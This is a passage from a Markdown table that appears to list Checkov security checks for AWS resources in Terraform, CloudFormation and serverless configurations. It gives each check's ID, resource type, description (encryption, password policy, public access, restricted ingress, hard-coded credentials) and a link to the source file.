 161 | CKV_AWS_5                | resource                         | aws_elasticsearch_domain                                                                         | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Terraform               | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py)                                                                                 |\n|  162 | CKV_AWS_5                | resource                         | aws_opensearch_domain                                                                            | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Terraform               | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py)                                                                                 |\n|  163 | CKV_AWS_6                | resource                         | AWS::Elasticsearch::Domain                                                                       | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Cloudformation          | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                                        |\n|  164 | CKV_AWS_6                | resource                         | aws_elasticsearch_domain                                                                         | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Terraform               | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                                             |\n|  165 | CKV_AWS_6                | resource                         | aws_opensearch_domain                                                                            | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Terraform               | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                                             |\n|  166 | CKV_AWS_7                | resource                         | AWS::KMS::Key                                                                                    | Ensure rotation for customer created CMKs is enabled                                                                                                                                                     | Cloudformation          | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py)                                                                                                    |\n|  167 | CKV_AWS_7                | resource                         | aws_kms_key                                                                                      | Ensure rotation for customer created CMKs is enabled                                                                                                                                                     | Terraform               | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSRotation.py)                                                                                                         |\n|  168 | CKV_AWS_8                | resource                         | AWS::AutoScaling::LaunchConfiguration                                                            | Ensure all data stored in the Launch configuration EBS is securely encrypted                                                                                                                             | Cloudformation          | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                                          |\n|  169 | CKV_AWS_8                | resource                         | aws_instance                                                                                     | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted                                                                                                | Terraform               | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                                               |\n|  170 | CKV_AWS_8                | resource                         | aws_launch_configuration                                                                         | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted                                                                                                | Terraform               | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                                               |\n|  171 | CKV_AWS_9                | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy expires passwords within 90 days or less                                                                                                                                      | Terraform               | [PasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py)                                                                               |\n|  172 | CKV_AWS_10               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy requires minimum length of 14 or greater                                                                                                                                      | Terraform               | [PasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py)                                                                                       |\n|  173 | CKV_AWS_11               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy requires at least one lowercase letter                                                                                                                                        | Terraform               | [PasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py)                                                                     |\n|  174 | CKV_AWS_12               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy requires at least one number                                                                                                                                                  | Terraform               | [PasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py)                                                                                       |\n|  175 | CKV_AWS_13               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy prevents password reuse                                                                                                                                                       | Terraform               | [PasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py)                                                                                         |\n|  176 | CKV_AWS_14               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy requires at least one symbol                                                                                                                                                  | Terraform               | [PasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py)                                                                                       |\n|  177 | CKV_AWS_15               | resource                         | aws_iam_account_password_policy                                                                  | Ensure IAM password policy requires at least one uppercase letter                                                                                                                                        | Terraform               | [PasswordPolicyUppercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py)                                                                     |\n|  178 | CKV_AWS_16               | resource                         | AWS::RDS::DBInstance                                                                             | Ensure all data stored in the RDS is securely encrypted at rest                                                                                                                                          | Cloudformation          | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py)                                                                                                |\n|  179 | CKV_AWS_16               | resource                         | aws_db_instance                                                                                  | Ensure all data stored in the RDS is securely encrypted at rest                                                                                                                                          | Terraform               | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py)                                                                                                     |\n|  180 | CKV_AWS_17               | resource                         | AWS::RDS::DBInstance                                                                             | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Cloudformation          | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py)                                                                                |\n|  181 | CKV_AWS_17               | resource                         | aws_db_instance                                                                                  | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Terraform               | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py)                                                                                     |\n|  182 | CKV_AWS_17               | resource                         | aws_rds_cluster_instance                                                                         | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Terraform               | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py)                                                                                     |\n|  183 | CKV_AWS_18               | resource                         | AWS::S3::Bucket                                                                                  | Ensure the S3 bucket has access logging enabled                                                                                                                                                          | Cloudformation          | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py)                                                                                                  |\n|  184 | CKV_AWS_18               | resource                         | aws_s3_bucket                                                                                    | Ensure the S3 bucket has access logging enabled                                                                                                                                                          | Terraform               | [S3BucketLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml)                                                                                         |\n|  185 | CKV_AWS_19               | resource                         | AWS::S3::Bucket                                                                                  | Ensure the S3 bucket has server-side-encryption enabled                                                                                                                                                  | Cloudformation          | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py)                                                                                                  |\n|  186 | CKV_AWS_19               | resource                         | aws_s3_bucket                                                                                    | Ensure all data stored in the S3 bucket is securely encrypted at rest                                                                                                                                    | Terraform               | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml)                                                                                   |\n|  187 | CKV_AWS_19               | resource                         | aws_s3_bucket_server_side_encryption_configuration                                               | Ensure all data stored in the S3 bucket is securely encrypted at rest                                                                                                                                    | Terraform               | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml)                                                                                   |\n|  188 | CKV_AWS_20               | resource                         | AWS::S3::Bucket                                                                                  | Ensure the S3 bucket does not allow READ permissions to everyone                                                                                                                                         | Cloudformation          | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py)                                                                                            |\n|  189 | CKV_AWS_20               | resource                         | aws_s3_bucket                                                                                    | S3 Bucket has an ACL defined which allows public READ access.                                                                                                                                            | Terraform               | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml)                                                                                         |\n|  190 | CKV_AWS_20               | resource                         | aws_s3_bucket_acl                                                                                | S3 Bucket has an ACL defined which allows public READ access.                                                                                                                                            | Terraform               | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml)                                                                                         |\n|  191 | CKV_AWS_21               | resource                         | AWS::S3::Bucket                                                                                  | Ensure the S3 bucket has versioning enabled                                                                                                                                                              | Cloudformation          | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py)                                                                                                  |\n|  192 | CKV_AWS_21               | resource                         | aws_s3_bucket                                                                                    | Ensure all data stored in the S3 bucket have versioning enabled                                                                                                                                          | Terraform               | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml)                                                                                   |\n|  193 | CKV_AWS_21               | resource                         | aws_s3_bucket_versioning                                                                         | Ensure all data stored in the S3 bucket have versioning enabled                                                                                                                                          | Terraform               | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml)                                                                                   |\n|  194 | CKV_AWS_22               | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure SageMaker Notebook is encrypted at rest using KMS CMK                                                                                                                                             | Terraform               | [SagemakerNotebookEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py)                                                                         |\n|  195 | CKV_AWS_23               | resource                         | AWS::EC2::SecurityGroup                                                                          | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation          | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                  |\n|  196 | CKV_AWS_23               | resource                         | AWS::EC2::SecurityGroupEgress                                                                    | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation          | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                  |\n|  197 | CKV_AWS_23               | resource                         | AWS::EC2::SecurityGroupIngress                                                                   | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation          | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                  |\n|  198 | CKV_AWS_23               | resource                         | aws_db_security_group                                                                            | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  199 | CKV_AWS_23               | resource                         | aws_elasticache_security_group                                                                   | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  200 | CKV_AWS_23               | resource                         | aws_redshift_security_group                                                                      | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  201 | CKV_AWS_23               | resource                         | aws_security_group                                                                               | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  202 | CKV_AWS_23               | resource                         | aws_security_group_rule                                                                          | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  203 | CKV_AWS_23               | resource                         | aws_vpc_security_group_egress_rule                                                               | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  204 | CKV_AWS_23               | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure every security group and rule has a description                                                                                                                                                   | Terraform               | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|  205 | CKV_AWS_24               | resource                         | AWS::EC2::SecurityGroup                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation          | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                      |\n|  206 | CKV_AWS_24               | resource                         | AWS::EC2::SecurityGroupIngress                                                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation          | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                      |\n|  207 | CKV_AWS_24               | resource                         | aws_security_group                                                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|  208 | CKV_AWS_24               | resource                         | aws_security_group_rule                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|  209 | CKV_AWS_24               | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|  210 | CKV_AWS_25               | resource                         | AWS::EC2::SecurityGroup                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation          | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                  |\n|  211 | CKV_AWS_25               | resource                         | AWS::EC2::SecurityGroupIngress                                                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation          | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                  |\n|  212 | CKV_AWS_25               | resource                         | aws_security_group                                                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|  213 | CKV_AWS_25               | resource                         | aws_security_group_rule                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|  214 | CKV_AWS_25               | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|  215 | CKV_AWS_26               | resource                         | AWS::SNS::Topic                                                                                  | Ensure all data stored in the SNS topic is encrypted                                                                                                                                                     | Cloudformation          | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py)                                                                                      |\n|  216 | CKV_AWS_26               | resource                         | aws_sns_topic                                                                                    | Ensure all data stored in the SNS topic is encrypted                                                                                                                                                     | Terraform               | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicEncryption.py)                                                                                           |\n|  217 | CKV_AWS_27               | resource                         | AWS::SQS::Queue                                                                                  | Ensure all data stored in the SQS queue is encrypted                                                                                                                                                     | Cloudformation          | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py)                                                                                      |\n|  218 | CKV_AWS_27               | resource                         | aws_sqs_queue                                                                                    | Ensure all data stored in the SQS queue is encrypted                                                                                                                                                     | Terraform               | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueueEncryption.py)                                                                                           |\n|  219 | CKV_AWS_28               | resource                         | AWS::DynamoDB::Table                                                                             | Ensure DynamoDB point in time recovery (backup) is enabled                                                                                                                                               | Cloudformation          | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py)                                                                                          |\n|  220 | CKV_AWS_28               | resource                         | aws_dynamodb_table                                                                               | Ensure DynamoDB point in time recovery (backup) is enabled                                                                                                                                               | Terraform               | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamodbRecovery.py)                                                                                               |\n|  221 | CKV_AWS_29               | resource                         | AWS::ElastiCache::ReplicationGroup                                                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest                                                                                                                | Cloudformation          | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py)                                    |\n|  222 | CKV_AWS_29               | resource                         | aws_elasticache_replication_group                                                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest                                                                                                                | Terraform               | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py)                                         |\n|  223 | CKV_AWS_30               | resource                         | AWS::ElastiCache::ReplicationGroup                                                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit                                                                                                             | Cloudformation          | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py)                              |\n|  224 | CKV_AWS_30               | resource                         | aws_elasticache_replication_group                                                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit                                                                                                             | Terraform               | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py)                                   |\n|  225 | CKV_AWS_31               | resource                         | AWS::ElastiCache::ReplicationGroup                                                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token                                                                                          | Cloudformation          | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py)            |\n|  226 | CKV_AWS_31               | resource                         | aws_elasticache_replication_group                                                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token                                                                                          | Terraform               | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py)                 |\n|  227 | CKV_AWS_32               | resource                         | AWS::ECR::Repository                                                                             | Ensure ECR policy is not set to public                                                                                                                                                                   | Cloudformation          | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py)                                                                                                        |\n|  228 | CKV_AWS_32               | resource                         | aws_ecr_repository_policy                                                                        | Ensure ECR policy is not set to public                                                                                                                                                                   | Terraform               | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRPolicy.py)                                                                                                             |\n|  229 | CKV_AWS_33               | resource                         | AWS::KMS::Key                                                                                    | Ensure KMS key policy does not contain wildcard (*) principal                                                                                                                                            | Cloudformation          | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py)                                                                            |\n|  230 | CKV_AWS_33               | resource                         | aws_kms_key                                                                                      | Ensure KMS key policy does not contain wildcard (*) principal                                                                                                                                            | Terraform               | [KMSKeyWildcardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py)                                                                                 |\n|  231 | CKV_AWS_34               | resource                         | AWS::CloudFront::Distribution                                                                    | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS                                                                                                                                      | Cloudformation          | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py)                                                          |\n|  232 | CKV_AWS_34               | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS                                                                                                                                      | Terraform               | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py)                                                               |\n|  233 | CKV_AWS_35               | resource                         | AWS::CloudTrail::Trail                                                                           | Ensure CloudTrail logs are encrypted at rest using KMS CMKs                                                                                                                                              | Cloudformation          | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py)                                                                                  |\n|  234 | CKV_AWS_35               | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail logs are encrypted at rest using KMS CMKs                                                                                                                                              | Terraform               | [CloudtrailEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py)                                                                         |\n|  235 | CKV_AWS_36               | resource                         | AWS::CloudTrail::Trail                                                                           | Ensure CloudTrail log file validation is enabled                                                                                                                                                         | Cloudformation          | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py)                                                                            |\n|  236 | CKV_AWS_36               | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail log file validation is enabled                                                                                                                                                         | Terraform               | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py)                                                                                 |\n|  237 | CKV_AWS_37               | resource                         | aws_eks_cluster                                                                                  | Ensure Amazon EKS control plane logging is enabled for all log types                                                                                                                                     | Terraform               | [EKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py)                                                                                   |\n|  238 | CKV_AWS_38               | resource                         | aws_eks_cluster                                                                                  | Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0                                                                                                                                            | Terraform               | [EKSPublicAccessCIDR.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py)                                                                                         |\n|  239 | CKV_AWS_39               | resource                         | aws_eks_cluster                                                                                  | Ensure Amazon EKS public endpoint disabled                                                                                                                                                               | Terraform               | [EKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccess.py)                                                                                                 |\n|  240 | CKV_AWS_40               | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation          | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                            |\n|  241 | CKV_AWS_40               | resource                         | aws_iam_policy_attachment                                                                        | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform               | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  242 | CKV_AWS_40               | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform               | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  243 | CKV_AWS_40               | resource                         | aws_iam_user_policy_attachment                                                                   | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform               | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  244 | CKV_AWS_41               | provider                         | aws                                                                                              | Ensure no hard coded AWS access key and secret key exists in provider                                                                                                                                    | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/aws/credentials.py)                                                                                                         |\n|  245 | CKV_AWS_41               | resource                         | serverless_aws                                                                                   | Ensure no hard coded AWS access key and secret key exists in provider                                                                                                                                    | serverless              | [AWSCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AWSCredentials.py)                                                                                                  |\n|  246 | CKV_AWS_42               | resource                         | AWS::EFS::FileSystem                                                                             | Ensure EFS is securely encrypted                                                                                                                                                                         | Cloudformation          | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py)                                                                                  |\n|  247 | CKV_AWS_42               | resource                         | aws_efs_file_system                                                                              | Ensure EFS is securely encrypted                                                                                                                                                                         | Terraform               | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py)                                                                                       |\n|  248 | CKV_AWS_43               | resource                         | AWS::Kinesis::Stream                                                                             | Ensure Kinesis Stream is securely encrypted                                                                                                                                                              | Cloudformation          | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py)                                                                    |\n|  249 | CKV_AWS_43               | resource                         | aws_kinesis_stream                                                                               | Ensure Kinesis Stream is securely encrypted                                                                                                                                                              | Terraform               | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py)                                                                         |\n|  250 | CKV_AWS_44               | resource                         | AWS::Neptune::DBCluster                                                                          | Ensure Neptune storage is securely encrypted                                                                                                                                                             | Cloudformation          | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py)                                                              |\n|  251 | CKV_AWS_44               | resource                         | aws_neptune_cluster                                                                              | Ensure Neptune storage is securely encrypted                                                                                                                                                             | Terraform               | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py)                                                                   |\n|  252 | CKV_AWS_45               | resource                         | AWS::Lambda::Function                                                                            | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation          | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                                  